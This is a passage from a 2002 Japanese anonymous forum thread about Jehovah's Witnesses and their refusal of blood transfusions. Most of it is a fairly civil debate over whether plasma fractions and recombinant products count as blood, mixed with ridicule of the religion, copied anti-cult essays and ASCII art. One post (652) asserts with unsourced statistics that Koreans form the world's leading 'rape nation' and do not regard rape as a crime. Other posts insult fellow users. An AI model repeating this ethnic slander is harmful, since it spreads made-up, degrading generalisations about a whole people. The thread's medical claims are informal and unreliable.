私の質問は「アルブミン、グロブリン、凝固因子といった分画に水分を加えるとJWが
使えない血漿という成分になってしまいますが、この矛盾をどう説明するのですか?」
というものでした。それら分画製剤がすべてリコンビナント(遺伝子操作由来)ならば
HLCの人の説明でもOKでしょうけど、現実にはまだ献血由来の血液分画製剤が使用
されている以上、理解が出来ません。
>仮にそれらを水溶液にして用いても個々の良心の問題だそうです。
血漿分画をすべて入れて水溶液にしたとしても、ですか?
であれば「血漿は主要な成分なので使えません」とは言えなくなってしまうのでは?
>医学上の理由からそれらを複合して用いる事はないそうです。
血漿分画製剤を合わせて使用することがないことくらい私もしってます。
そうするくらいなら、FFP(新鮮凍結血漿)を用いるべきです。
分画それぞれを合わせて用いるとその分、献血者の数が増えることになり、危険性が
増すからです。
>今ではほとんどの分画製剤は遺伝組み替えによるもので、それらの使用には問題ありません。
アルブミン、グロブリンもですか? 特にアルブミンは国内自給が間に合わないため、
未だに部分的に輸入に頼っているのが実情なのですが。
また血友病の患者に用いられる[凝固因子製剤はリコンビナント製剤になってきていますが
それすら安定化のためヒトアルブミンが添加されているということも追記しておきますね。
(もう一つ。リコンビナント製剤は全て輸入品です。場合によっては製品がない可能性もあり得ます。
実際、昨年にそういう自体が起こり、医療現場はパニックだったそうです。)
人工赤血球の開発は数年前からずっと「開発中」です。早く実用化されれば良いとは思い
ますが、100%変わりの役目をするのか個人的には疑問ですね。
>それらが開発されれば輸血の問題はなくなるでしょう。
そうは思えませんね。100%血液の代わりになりうる人工血液が開発されない限り、無理
だと思われます。
長文レスになりましたが、最初の質問の件、もう一度ご回答くださればうれしいです。
553 :
名無しさん@1周年 :02/07/12 23:08
血液と信仰がどう結びつくのか、正常一般人には理解できないんだな 輸血問題を死ぬまで論じてろってこっちゃ(ものみの塔の陰謀)
wildcatさんへ ひょっとして医学の関係者ですか?わたしも自分の信仰に関わる問題なので、以前に様々な文献を読んで調べたのですが、あなたの説明はとても分かりやすかったです。何か間違いがあったら指摘していただければと思います。 分画に水分を加えたからといって必ずしも‘血漿’となる訳ではありません。それは‘血漿を構成している微少な分画もしくは成分’だからです。 どこからが‘血を避けるように’という原則に反するのかは、どこかでラインを引かなければなりません。血液に含まれているすべての成分を取り入れることができないのであれば、血漿の90%を構成している水分すら取り入れる事ができなくなるからです。 わたしたちは血液の主成分である血漿を避けます。しかし、血漿を構成している物質に関しては個人の良心で決めるべき問題であると考えています。 まとめますと、今日一般的に用いられている数種類の分画すべてを水溶液にしたとしても、血漿と全く同じものとなるわけではないので、それらは個人の良心で決定すべき事なのです。
555 :
名無しさん@1周年 :02/07/12 23:42
神様が田町駅前に現れたそうです
>>554 私はどこにでもいる普通の会社員ですよ。調べようと思えば今の時代ネットで検索すれば
大抵の情報は得られますよ。ネット喫茶などを利用してPCからごらんになったほうが色んな
情報が分かりやすく得られると思いますよ。
>分画に水分を加えたからといって必ずしも‘血漿’となる訳ではありません。それは‘血漿を構成している微少な分画もしくは成分’だからです。
すいません、どうも前提条件が違ってますよね?
私は前提条件として、血漿の全ての成分を分画にした後、水を加えれば血漿になるという
ことを言っていたつもりですけど。
>どこからが‘血を避けるように’という原則に反するのかは、どこかでラインを引かなければなりません。
そうですね。私は個人的には血を故意に口にすることがなければいいのでは?と思ってます。
命を救う手段としての血液は現時点では必要ですしね。
>わたしたちは血液の主成分である血漿を避けます。
この点を論理的に説明できますか? 成分はNGで分画はOKというのは線引きとしておかしいし、
医療関係者はだれも納得してませんよ。
557 :
名無しさん@1周年 :02/07/13 00:36
エホ証は血液分析団体ですか
558 :
名無しさん@1周年 :02/07/13 00:52
だからさあ、 エホ症は輸血が危険だからしない訳じゃないだろ? 聖書に書いてあるからしないんだろ? だったら危険かどうかなんて関係無いだろ。 何でいつも輸血の危険性を喧伝するんだ? 安全だったら輸血するのか? 違うだろ?
559 :
名無しさん@1周年 :02/07/13 00:58
エホバの証人は、いまイエスが現われて、葡萄酒をつがれたら絶対に飲まない。血だから。イエスの人間性(血)も受け入れない。
560 :
名無しさん@1周年 :02/07/13 01:07
前にもどっかで書いたが、聖書の解釈自体間違っているのだ。
>>559 カナの婚礼のときの酒と解釈すれば飲めます。
562 :
名無しさん@1周年 :02/07/13 01:14
>>554 医療関係者から一言。
ワイルドキャットの言うとおりで、おまえがただアフォなだけだ!
馬鹿者!
563 :
名無しさん@1周年 :02/07/13 01:40
いつになったら結論がでるんだい血血血 300年はかかりそうだ血血血
564 :
名無しさん@1周年 :02/07/13 01:59
カナの婚礼の葡萄酒と最後の晩餐の葡萄酒とは全然意味合いが違うのですが・・・。 カナの婚礼は葡萄酒。最後の晩餐はイエスの血、すなわち人間性を指しています。 あっ、そうか、単なる葡萄酒だったら、イエスの杯を受けるけど、血の意味だったら受けないのか。じゃあ、やっぱりイエスの人間性は受け入れないんだ。あなた自身がそういってるよ。 じゃあ、永遠に永遠の命は得られないね。みんなかわいそう・・・。
wildcatさんへ そうですね。血漿のすべての成分を分画した後に再び水を加えたら、それは血漿です。あなたの言っておられた前提を勘違いしていました。ごめんなさいね。 血液の主成分である血漿とその分画の間にラインをもうける一つの根拠は、免疫グログリンやアルブミンと言った血漿の一部分が母親の胎内で母親から胎児へと移動するという事です。 つまり生来、ひとりの人間から別の人間に、分画のやり取りがなされています。 さらに私たちが血を避けるのは、命を支えているという意味で血が神聖なものとされているからです。分画されたタンパク質は、多くの場合、人間の体質を改善するために用いられます。 これらの理由で良心的に分画の使用は血を避けるようにとの神の原則に違反しないと考えるクリスチャンがいるのです。
566 :
名無しさん@1周年 :02/07/13 02:03
567 :
名無しさん@1周年 :02/07/13 02:12
>>559 >>564 なにの話をされているのか少し分かりません。わたしは仮に今、イエスが現れて葡萄酒を勧められたら喜んでいただきます。ワイン好きですから。
最後の晩餐での葡萄酒は象徴的な意味あいがあるにすぎません。
568 :
名無しさん@1周年 :02/07/13 02:19
ふぅ・・・。 だから、血液と聖書に書かれてある血とは、別物って言いたいの。聖書には奥義があってねー、知ってるでしょ?
569 :
名無しさん@1周年 :02/07/13 02:28
現に創世記では「魂の血」って書いてあるでしょ?
570 :
名無しさん@1周年 :02/07/13 02:38
それに、レビ記でも「血が、その内にある魂によって贖罪を行なう」ってある。
571 :
名無しさん@1周年 :02/07/13 02:49
>506 ハーバード大で医学学んでますが、東大がどうかしましたか?
572 :
名無しさん@1周年 :02/07/13 02:51
律法に従うことは、いつまでも罪と死の奴隷であることを意味しています。 イエスが十字架(あなた方の解釈では磔柱)に掛けられた意味がわかりますか? イエスはあなた方を罪と死の律法から自由にしたのですよ(ロマ8;2以下)。 ほんとは、十字架も一種の象徴で最後の晩餐での肉と血に該当します。
573 :
名無しさん@1周年 :02/07/13 02:57
最近のエホ症やたら学歴自慢してやんの、前は大学生はすまなそうにしていたのになぁ、エホ症のトップから自慢してるからな、イエスの教えと矛盾してねーか?ぺっ最低。
574 :
名無しさん@1周年 :02/07/13 03:03
この前、質問箱でプロとカトのひとが飲酒のことで論じ合っていたので、この事を言ったら直ぐ分かってくれましたよ。 彼ら自身も、聖体拝領とかの儀式の意味とこのこととリンクしていなかったようですが、どこかで教わっていたのでしょう。
575 :
名無しさん@1周年 :02/07/13 03:52
あ、王国会館が空を飛んでる・・・・ ________________ / /\ ───`/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/゙-、. \ ────/ ___ / ̄ ̄ ̄/ ゙-、.;.\ ゙-、 \ ____ / / / / ./ .::゙-、.:\ ────/ / / / ./ ::::::゙-、::::\ / / ./ ./ / ...:.:.::::..;;;;;;゙-;;;/ / / / / / ..::.:.::::::;;;;;;;/ /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ / ..::.:.:.:.:::.:.;;;;;;;;;;/ / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ / ....:.:...::.:.::.::.:.:.:.:;;;;;;;;;;;/ / /エホバの証人の王国会館 / / ..:.:..:.:::.:.:.:..:::;;;;;;;;;/ / /__________/ / ....................:::.::.:.::::;;;;;;/ /______________ / ...:.:.::..::::;;;;;;;;;;;;;;;;;;/ \ \..:.:.::..:..::::;::;;:;;;;;;;;;;;;;;;;/ \ \::::::;;;;;;;;;;;:;::;;;;;;;;;;/ \ \;;;;;;:;;;;;:;;;;;;;;;;/ \ \;;;;;;;;:::;;;;/ \ \;;;;;;;/ \ \/  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
576 :
名無しさん@1周年 :02/07/13 04:15
YHWHは偽りの崇拝者エホバの商人どもとユダヤ人を御見捨てになったのだ。ピラミッド起源のオカルト信仰してれば当然だ。 ヒットラーは執行者として使われたのだ。 現在の比較的平和な時代にも、なぜフランスでカルト認定されるか考えてみろよ。
>575 看板が変じゃねえか?
578 :
名無しさん@1周年 :02/07/13 04:45
579 :
名無しさん@1周年 :02/07/13 04:59
580 :
名無しさん@1周年 :02/07/13 09:07
イエスは無学歴
581 :
名無しさん@1周年 :02/07/13 09:11
信者などというバカが沢山いるため儲かって儲かって 笑いがとまらんよ
582 :
名無しさん@1周年 :02/07/13 09:22
581 そーゆーのヤメレ 信者に儲けさせてこそ良い宗教だろうが
583 :
名無しさん@1周年 :02/07/13 09:25
そうですね。 エホバ証は悪い宗教です
584 :
名無しさん@1周年 :02/07/13 10:13
今でもビンボーな信者のほうがほめられるんですか?
>>565 >免疫グログリンやアルブミンと言った血漿の一部分が母親の胎内で母親から胎児へと移動するという事です。
血漿分画に限らず、母胎間で血液そのものが少量ですがやりとりされていることが以前から
言われてますよ。Rh不適合妊娠による新生児溶血性疾患がその良い例です。これは胎児の
血液が母体に少量でも取り込まれることによって起こる免疫感作です。
>分画されたタンパク質は、多くの場合、人間の体質を改善するために用いられます。
分画であっても血液の成分の一つに過ぎないと普通は考えますけど・・・。
分画であれば、もはや血液とは関係ないと考えるわけでしょうか?
協会の文章を鵜呑みにせずにご自分で調べて見られるのはいかがでしょうか?
情報のソースが偏ったものになると、結論も偏ったものになってしまいますよ。
使途ですが、何か質問ありますか?
wildcatさんへ わたしはかなりのソースから情報を判断しているつもりです。賛否両論に偏見なく耳を傾けたいと思います。その点であなたの指摘はとても興味深く思っています。 聖書には血を避けるようにとしか書かれていません。私たちは全血もしくは血の主成分を取り入れることはその原則に反していると考えます。さらに細かい面で信者を束縛する事は僭越な事です。ですから、そこから先は各信者がそれぞれの良心に基づいて判断すべきです。 ちなみに私は分画製剤のうち遺伝子組み替えによる製剤以外は受け入れません。わたしの良心はたとえ分画であっても人の血液から採られたものは血を避けるようにとの神の指示に反すると感じるからです。 またなにかお知りの情報があればぜひ教えてください。
588 :
名無しさん@1周年 :02/07/13 13:52
> ここらへんが信頼できるソースなんじゃないの
>>547 思い切りワラタ
589 :
名無しさん@1周年 :02/07/13 14:09
信者などというバカに、血の問題を議論させておけば、儲かって儲かって 笑いがとまらんよ うにできておる。1000年はこれで商売できるわ
590 :
名無しさん@1周年 :02/07/13 15:02
韓国のムダンという呪い師が 屠殺したばかりの豚の肉をくわえて 顔中血だらけにして踊っている写真を見た そのような儀式を禁じたものだ。
591 :
名無しさん@1周年 :02/07/13 15:09
592 :
名無しさん@1周年 :02/07/13 15:13
593 :
590じゃないけど :02/07/13 15:21
594 :
名無しさん@1周年 :02/07/13 15:24
595 :
名無しさん@1周年 :02/07/13 15:27
596 :
名無しさん@1周年 :02/07/13 15:31
クッというのは、ムーダン(巫堂)と呼ばれる伝統芸能の 継承者でもあり、霊能者でもある人が執り行う神事です。 7日間、踊り歌い続け、ムーダンと地元の人々が一体になり トランス状態になるというエネルギッシュな祭り。 今年この祭りを仕切るのは、韓国の人間国宝・金石出 (キムソクチュル)氏。韓国東海岸の世襲制ムーダンの 総元締めであり、伝統芸能の継承者でもある金氏が 中心となるとあって、今年の豊漁祭は格別の盛り上がりを 見せました。
597 :
名無しさん@1周年 :02/07/13 15:38
韓国のエホ証は 何かというと ムダンに相談に行きます
598 :
名無しさん@1周年 :02/07/13 16:02
裏切り者ですが、何か?
>>587 みちのりさん、
>>552 をもう一度お読みください。
リコンビンナント製剤であっても献血由来のヒトアルブミンが添加されてるのは事実です。
全く添加されてないものもありますが、バイエル社の独占販売なので流通に難があるそうですよ。
JWの輸血に関する方針に色々と批判されるのは、人によって分画だったらOKだったり
あなたのように分画すらもNGだったりするからではないでしょうか?
「血を避けるように」という文章からその線引きを出すのは無理だと思いますが。
それとも血液成分を細かく分けた分画の状態ならOKとする根拠の聖句はありますか?
それらを考えるとJWは輸血に関する方針を信者に押しつけるべきではなく、個々の人の
良心の判断に任せるべき、だと思いますよ。そうすれば何の問題もなくなります。
私がここまでこの問題にツッコミをいれるのは人命がかかっているからなんです。
真の意味でのインフォームドコンセントが組織内に見られるようになって欲しい、そう願ってやみません。
これ以上ここでやるのは大変だと思いますので、続きはメールでやりませんか?
あなたとだったらきちんとした話し合いが出来ると思いますので。
[email protected] までどうぞ。
601 :
名無しさん@1周年 :02/07/14 00:33
王国会館を解散させる会会長 田中三郎
602 :
名無しさん@1周年 :02/07/14 05:14
| \ |Д`) マダヤッテルヨ・・・ |⊂ チチチダッテ・・ | ♪ Å ♪ / \ ランタ タン ヽ(´Д`;)ノ ランタ タン ( へ) ランタ ランタ く タン ♪ Å ♪ / \ ランタ ランタ ヽ(;´Д`)ノ ランタ タン (へ ) ランタ タンタ > タン
603 :
名無しさん@1周年 :02/07/14 05:30
|も.| |う | │来│ │ね│ │え .| │よ .| バカ ゴルァ │ !!.│ └─┤ プンプン ヽ(`Д´)ノ ヽ(`Д´)ノ (`Д´)ノ ( `Д) | ̄ ̄ ̄|─| ̄ ̄ ̄|─| ̄ ̄ ̄|─□( ヽ┐U 〜 〜  ̄◎ ̄ . ̄◎ ̄  ̄◎ ̄ ◎−>┘◎
605 :
名無しさん@1周年 :02/07/14 07:37
一たん信者になると「被害者」は直ちに「加害者」に変身し、 彼らは積極的に他の信者候補者のマインド・コントロールに加わっていきます。 と言うより、これが彼らのノルマであり、その活動自体が自分自身のマインド・ コントロールにもなっているのです。先ず彼らが毎週日曜日に王国会館で行う 行事に「ものみの塔」研究という会があります。これはエホバの証人の宗教活動 の最も大事な行事の一つです。ここでは毎週ニューヨーク・ブルックリンの本部 が世界中に指令したプログラムに基づき、世界一斉に「ものみの塔」誌の指定さ れた記事を全員で読みます。この記事にはもちろん、ニューヨークの本部が世界 中の信者に徹底させたい教理が述べられています。 問題はこの会のやりかたです。
606 :
名無しさん@1周年 :02/07/14 07:48
このように人間の作り上げた「真理」を熱狂的に信じて命を落としていく エホバの証人の姿は、破壊的カルトと呼ばれるのに十分な資格を与えますが、 一方この悲劇は静かに少しずつ繰り広げられているため、社会問題となりに くい傾向にあります。元エホバの証人で、現在は証人たちの救出運動を積極的 に行っているデービッド・リード氏は、輸血をしなかった理由で死んだエホバ の証人やその子供達のケースを集め、それが1978年のガイアナのジョーン ズ・タウンにおけるジム・ジョーンズのカルトの追随者900人の集団自殺の数、 1993年のテキサス州ウェイコでのデービド・コレシのカルト、ブランチ・ ダビデアンの追随者たち80人近くの死をはるかに 上回ることを示しています
607 :
名無しさん@1周年 :02/07/14 07:51
結論 ― エホバの証人は「破壊的カルト」の特質を十分持った団体である 以上エホバの証人の特質の中で、破壊的カルトと呼ばれるにふさわしい 教理、行動パターンを見てきました。これをまとめてみると次の大きな 三つの点があげられます。 脅迫的マインド・コントロールの使用 家庭破壊と選択的、条件付き「愛」 人命の軽視と命を犠牲にさせる教理 この他ここでは詳しく述べませんでしたが、次のようなエホバの証人 の教理、行動も破壊的カルトの特徴の中に含まれるでしょう。 人間の恣意的に作り上げた教理を絶対的真理として従う この点は予防接種と臓器移植の例に端的に現れていることを示しました。 聖書を恣意的に解釈したり訳したりし、それを絶対的真理とし て信者に押しつける 自分たちの指導者のみが神の特別な代表者でありそれ以外は全て偽物であ る、自分たちの組織しか神は認めていない、と信じさせる
608 :
名無しさん@1周年 :02/07/14 08:17
JWが605−607が述べる 破壊的カルト集団であるとしたら ほかの宗教はそれ以下のレベルあることからしてJWについて語る資格なし 605−607は無宗教でしょうか?
609 :
名無しさん@1周年 :02/07/14 08:21
無宗教もカルト
612 :
名無しさん@1周年 :02/07/14 09:49
≫605-607 わたしはエホバの証人の中で全く違う教理を説いていますが何か? エホバの証人の教えは絶対的に間違っていますが何か? この前この組織ももう終わりだなと霊感に感じましたが何か? 集会にいくと話の内容に苛立ち、自分が小さくなったように感じますが何か? 他の人が盲信しているのを見て可哀相に思いますが何か? 最近この人たちをJWから離れさせ、本来の真理に導こうと思っていますがなにか? 彼らは何ら神の意図を何も理解していないと感じますが何か?
wildcatさんメールは届きましたか?
614 :
名無しさん@1周年 :02/07/14 10:42
サタン ,、_ __,....,_ _,...、 ,} {`i;:r,;'ニ (;;;;、` , r' . {i' i:.'ー<.・)}:ム ヾi, キタ━━━━━━━ノ // -r /:::ミ ('ーヽ━━━━━━━━━!!!! i゙ i:/ /二./ /',=、__ノi/ ヽ ヽ! {:::} //::::''´`'7!/ ヽ、__ヽ!l::i:::::ii;;;;;;;|,ノ `ヽ、`ー""ヽ `'ー-'''"
615 :
名無しさん@1周年 :02/07/14 12:24
616 :
名無しさん@1周年 :02/07/14 14:11
〃 ノノ | ミ "■■■■■■■■■■■■リ Nr'Y||■■■<●>■■<●>|| | }| リ ■■ '" ■■` ■ ヽ’■■■■■■、,,__,,)■▼ `■▼ / ___,ヽ:l
617 :
名無しさん@1周年 :02/07/14 16:56
〜〜〜〜〜 〜〜〜〜〜 〜〜〜
今日の物見の塔はまだましでしたね。 足りないところはありましたが。
619 :
名無しさん@1周年 :02/07/14 17:18
つまらなかったよ。いくんじゃなかった。
620 :
名無しさん@1周年 :02/07/14 17:21
まぁ、低レベルのところでの説明ですからねー。先週よりはましでしたが・・・
621 :
名無しさん@1周年 :02/07/14 20:33
622 :
名無しさん@1周年 :02/07/14 21:00
612がんぱれー!! 野望・野心抜きで行けーっ!!
623 :
名無しさん@1周年 :02/07/14 21:52
長島さんがイエスらしい
624 :
名無しさん@1周年 :02/07/15 08:20
age
625 :
名無しさん@1周年 :02/07/15 09:12
ノ从川川川川川川从 ノノ从川川 川川川川从 从川川川 川川川川从 从川川〓〓 〓〓川川从 从川/ (●) (●)川川从 ヽ ・・ ノ| | /⌒ ⌒\. | / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | /⌒_⌒\. | <おはよう ボンジーア♪ .ヽ\|_|_|//| \___________ ヽ、___,/ | 、___,/
>>587 みちのりさんへ
あなたは私が会ったり2ch掲示板で文章を目にした証人の方のうちで、めずらしいといっては失礼ですが、
まともにお話ができそうなので一つお聞きしたいのです。
>ちなみに私は分画製剤のうち遺伝子組み替えによる製剤以外は受け入れません。
この遺伝子組み替えによる製剤は、人間以外の生き物(牛とか)を元にされていると聞いております。
だとすれば、
一:人間の血はだめで、人間以外の血を元にするものならいいという聖書的根拠はありますか。
どちらかといえば、生き物の血を採り入れる(食べる)ことこそ聖書で禁止されたのではないでしょうか。
新約のない、つまりイエスによる禁止解除のない旧約に生きるユダヤ教徒が、
今でも厳格に食物の血抜きを行っているのはご存知と思います。
一:遺伝子組み替えに関して、ものみの塔の見解は寛容なようですが、そもそも遺伝子の組替えは
神の領域の行為ではないかという論争がいまだに続いています。
大豆やとうもろこしなどの遺伝子組み替え食品については現在も注意が払われております。
つまり人体へどのような影響を与えるかの結論がまだ出ていないのです。
研究の進んだ輸血よりも危険度でいうなら高いのではないかと考えます。
以上。あなたのお考えはいかがでしょうか。おひまなときに考えていただけたらと存じます。
627 :
名無しさん@1周年 :02/07/15 12:26
/ \ /\ / .\.,.,.,.,..,,/ ヽ / `:、 ,:' ', .,:' i .i ○ ○ i / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ .', o o * i < 熱いところ開拓ごくろうちゃま・・・ `:、 ゜ ー―‐ ゜ / \___________ | ゜ \ | \ |ヽ | ヽ丿 | | )_ノ (.,.,.,.,..,).,.,.,..,.,.,.(,..,.,.,.,..,.),.,.,,../
628 :
名無しさん@1周年 :02/07/15 12:49
健康に悪いかもしれないと言って 収量の多い作物を排除するなら結果 より多くの餓死者を出しかねないのが 今の世界。贅沢は言っていられません。 ところで、626は「健康のためなら死んでもいい」派でしょうか。
629 :
名無しさん@1周年 :02/07/15 12:59
誠成公倫か・・・
631 :
名無しさん@1周年 :02/07/15 13:19
健康のためなら死んでもいい 考えさせられる言葉だ 座右の銘 左1.0 右1.2 左右の眼だった^^; 暑いので寒い雰囲気 醸し出そうとしたのだが・・・
632 :
ドムボッボ :02/07/15 13:30
633 :
名無しさん@1周年 :02/07/15 13:32
ここは、ひどいところだ! 誠成公倫で、出直しだね。
634 :
名無しさん@1周年 :02/07/15 13:32
> ハムスターらしいよ ハムスターに献血させると言う意味か? 野生のネコさん詳細情報願います。 追伸-わたしの今まで知らなかったホムペの紹介感謝です。 ここのウェブマスターはどんな素性のお人なのでしょうか?
635 :
名無しさん@1周年 :02/07/15 13:33
>>633 あっちこっちで宣伝してるやつだな。無視。
636 :
煽ってみよう :02/07/15 13:34
>>632 資格が必要になったのか
資格は精励によって与えられます。
637 :
煽ってみよう :02/07/15 13:38
×---精励 ○---聖霊
>>634 リンク先ちゃんと見ました?
『遺伝子組み換え製剤(リコンビナント製剤)は、血漿中に含まれる凝固因子を造る遺伝子
(DNA)を動物(ハムスターなど)の細胞の核に組み入れ、その細胞を増殖させ、凝固因子
を生成させることによって製造されるものです。』
>ここのウェブマスターはどんな素性のお人なのでしょうか?
グ‐グル で適当に検索かけたのを引用しただけなので存じ上げません。
640 :
ドムボッボ :02/07/15 14:35
>>639 確かに「公式」にはその様に返答しましたが、事実としては
調査していますし、潜入もしています(していました。)
但し、現在2002年7月現在も行われているかは判りません。
>>628 論点のすりかえはおやめ下さい。遺伝子組み換え食品が質問の骨子ではありません。
でも一つ、お聞きしておきましょう。
あなたは遺伝子組み換え食品も平気で口にできるということですね。
アメリカのある大手種苗会社は、ある野菜に、その野菜を食べる虫が嫌う虫あるいは微生物だったかの
遺伝子を組み込みました。まさに虫も食わないわけですが、
そうした食品も、餓死を避けるためには食べなければぜいたくですか?
「健康のためなら死んでもいい」という次元の話ですかねえ。
>>wildcatさん。フォローとご指摘ありがとうございます。
642 :
名無しさん@1周年 :02/07/16 00:05
さあ、休みに入ったよ! 輸血論議きたきたぁ! でもwildcatが頑張ってるから出番ないかなー?
>>642 私はもうすぐ引退するので、あとは642さん、よろしく頼みますよ。
時間があるのも今週一杯なんで・・・・。
夏休みか、実にいい響きだ!
オレの夏休みは補助開拓の日々だったなァ(遠い目)
>>640 ってかさ、アメリカのJWだってFBIやその他の政府系捜査機関から調べられてるんだけどねぇ。
644 :
名無しさん@1周年 :02/07/16 05:39
台風さん 王国会館を吹き飛ばしてください 近所の嫌われ会館です
645 :
名無しさん@1周年 :02/07/16 07:52
>>644 >台風さん
>王国会館を吹き飛ばしてください
>近所の嫌われ会館です
ご近所が飛んできた建材によって被害を被ってもよいのですか?
聖書に「淫行を避けよ」と書かれていたので、日曜日の集会後に 「断絶届け」を提出しました。 性的な犯罪を隠蔽し、淫行を避けていない組織から離れる という私の判断は間違っていますか?
647 :
名無しさん@1周年 :02/07/16 10:35
>>646 間違ってたらどうするのよ まあ先輩背教者連は歓迎してくれるだろうね
それから聞いてみたいんだけど 断絶をするとき 性的な犯罪を隠蔽し、淫行を避けていない組織から離れたいって言ったの?
648 :
名無しさん@1周年 :02/07/16 10:42
/////// ///////____________ ///////  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| ̄ ̄ /////// (~) チリンチリン。。。 /////// ノ,, /////// ∧∧ /////// (,,゚∀゚) アヒャヒャヒャ♪ 「淫行を避けよ /////// |⊃旦~ ∧∧ ノ ゜。 ゜ /////// //〜( つつ 旦 ⊂(^〜^⊂⌒ヽつ ////// l ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄l /////  ̄| .| ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄| .| ̄ //// ^^^ ^^^
>>647 十戒を犯す罪を隠蔽するような組織には何を言ってもむだ。
断絶の理由を語る必要はないでしょう。
>>647 特に理由は述べていません。
事務的に受理されたと感じました。
しかし、何だか複雑な気分でもあります。
651 :
名無しさん@1周年 :02/07/16 12:37
>642 えーっ夏休みに入っちゃったのぉ! やっとまともに動き出したと思ったら 今度は夏厨の襲撃が始まるのかぁ・・・・
652 :
名無しさん@1周年 :02/07/16 13:08
韓国人の友人(女性)に聞いてみた所、レイプ率はかなり高く 初体験をレイプでむかえる女性も多いそうである。 人口との比率だと発生率は世界No.1では?と言っていた。 韓国人の発想だと、強姦=犯罪という概念が無いそうで、 好いた相手をレイプしても 当然であると思う人が多いとの事です。 ちなみに1位アメリカ、2位スウェーデンはセクハラや痴漢などの数字を含んでます。 朝鮮人はレイプのみの純粋な数字です。 つまり事実上のダントツ1位のレイプ大国です。 もはやレイプは朝鮮文化と言ってよいでしょう。 朝鮮人が好む言い方ですと、朝鮮はレイプ宗主国で。
653 :
名無しさん@1周年 :02/07/16 14:08
性なる神エホバ。
654 :
名無しさん@1周年 :02/07/16 14:39
655 :
名無しさん@1周年 :02/07/16 18:16
>>626 分画製剤にも様々な種類があります。その多くはは動物の腸内の細菌を用いて作られるものです。私は血を介して作られている製剤に関しては、それが動物によるものであっても使用しません。
しかし本来、遺伝子組み替えによる血液製剤は他人の血を使用する事による感染症やその他の医学上の問題に対処するために開発されました。動物の血であればなおの事危険性は高まるでしょう。
わたしの知る限り、動物の血液をもとにして作られる、遺伝子組み替え血液製剤はありません。
> 牛とか
>>626 ソースきぼう
>>655 牛とかハムスターではなくバクテリアがこの薬品を生産していると考えてよろしいのですね。
その場合、バクテリアは血液を持たない生物なので既にこれを「血液製剤」と呼ぶことはふさわ
しくないと思いますが、いかがでしょうか。
657 :
名無しさん@1周年 :02/07/17 08:41
;;;;;;;;;;;;;;;;;;;;;;;;;;く〉く〉く〉く〉く{†}く〉く〉〉;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;lVVVVVVVVVVV1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;|,.‐''''`'ヽ.〃r'´∠r'く|;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;/::::::: `ヽ;;;;;;;;;;;;;;;;;;;;;;_______________ ;;;;;;;;;;;;;;;;;;;;;;/::::::: ::::j :::j ::::/〃 i;;;;;;;;;;;;;;/ ;;;;;;;;;;;;;;;;;;;;,':::: ::j ノ: / / ノ //__ l;;;;;;;;;;;;| あたいはエホ証の女王様 ;;;;;;;;;;;;;;;;;;;i::: ::ノ/`'メ_=ノイ,-/ムノノ:j::ハ;;;;;;;;< 私は簡単な女じゃなくてよ! ;;;;;;;;;;;;;;;;;;ノ:::j 川::::f´il;`;!:::::::::::fィ;;lヽlゞ八;;;;;;;;;| そこらの街娘と一緒にしないで! ;;;;;;;;;;;;;;;;∧ fて从 シ b;ノ ::::::::b;;;ノ Eノ彡};;;;;;;;;\ ;;;;;;;;;;;;;;;/ン/ ∇レゾ _;;;;_ "儿;彡};;;;;;;;;;;;;; ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ;;;;;;;;;;;;;/ミヘ|{ミ(::)ヽ、 ゞこノ イミ};;彡};;;;;;;;;;;;;;;;;;;;;;;/7;;;「ヽ;;;;;;__;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;/ミ/ミ{ミ}ミミノ8ヽ 、,,_,, ィ´;;;{ミ };;彡}------- / /ー ヽヽr'´ /7 「ヽつ;;;;;_;;;;;;__;;;;; ;;;;;;;;;ノミ/ミ{ミ、}ー'´ 8:::::::::::: `'8::{ミ };;彡} /_/ ヽ_〉 /_ハつヽ_〉;;;;/ノ;;;;;ヽヽ、
なんかすげーな。オフ会やったら、とんでもない事に なりそだね。 あと、ケインなんですけれど...
659 :
名無しさん@1周年 :02/07/17 14:12
age
660 :
名無しさん@1周年 :02/07/17 14:40
∫ ∧_∧___ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ∫ (・∀・ ) / | < わしが長老だ! ~━⊂ へ ∩)/ .| | i'''(_) i'''i ̄,,,,,,/ |  ̄ (_)|| ̄ ̄ \____________
661 :
名無しさん@1周年 :02/07/17 14:41
662 :
名無しさん@1周年 :02/07/17 14:59
ワラタ
663 :
名無しさん@1周年 :02/07/18 13:29
伝道先でこれやると歓迎されるのよネ− ア、アア… ∧_∧ キシキシ・・・ ノハ( ))) | ̄C*`∀⌒⌒⌒ヽヾ。 |\⌒⌒" ノ)、 ノ、 ))) | \ \ \ |⌒⌒⌒⌒⌒⌒⌒| \|~'''''''''''''''''''''''''''''''''''l'''
久々の復活『裏2ちゃんねる』
